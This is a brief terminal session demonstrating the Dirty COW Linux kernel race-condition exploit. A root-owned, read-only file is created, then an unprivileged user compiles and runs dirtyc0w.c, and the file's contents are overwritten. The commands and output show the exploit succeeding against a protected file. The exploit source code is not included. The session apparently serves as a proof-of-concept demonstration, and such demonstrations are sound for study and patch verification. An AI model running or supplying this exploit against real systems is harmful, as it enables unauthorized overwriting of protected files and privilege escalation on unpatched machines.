$ sudo -s
 # echo this is not a test > foo
 # chmod 0404 foo ; exit
 $ ls -lah foo -r----r-- 1 root root 19 Oct 20 15:23 foo
 $ gcc -lpthread dirtyc0w.c -o dirtyc0w
 $ ./dirtyc0w foo m00000000000000000 mmap 56123000 madvise 0 procselfmem 1800000000
 $ cat foo m00000000000000000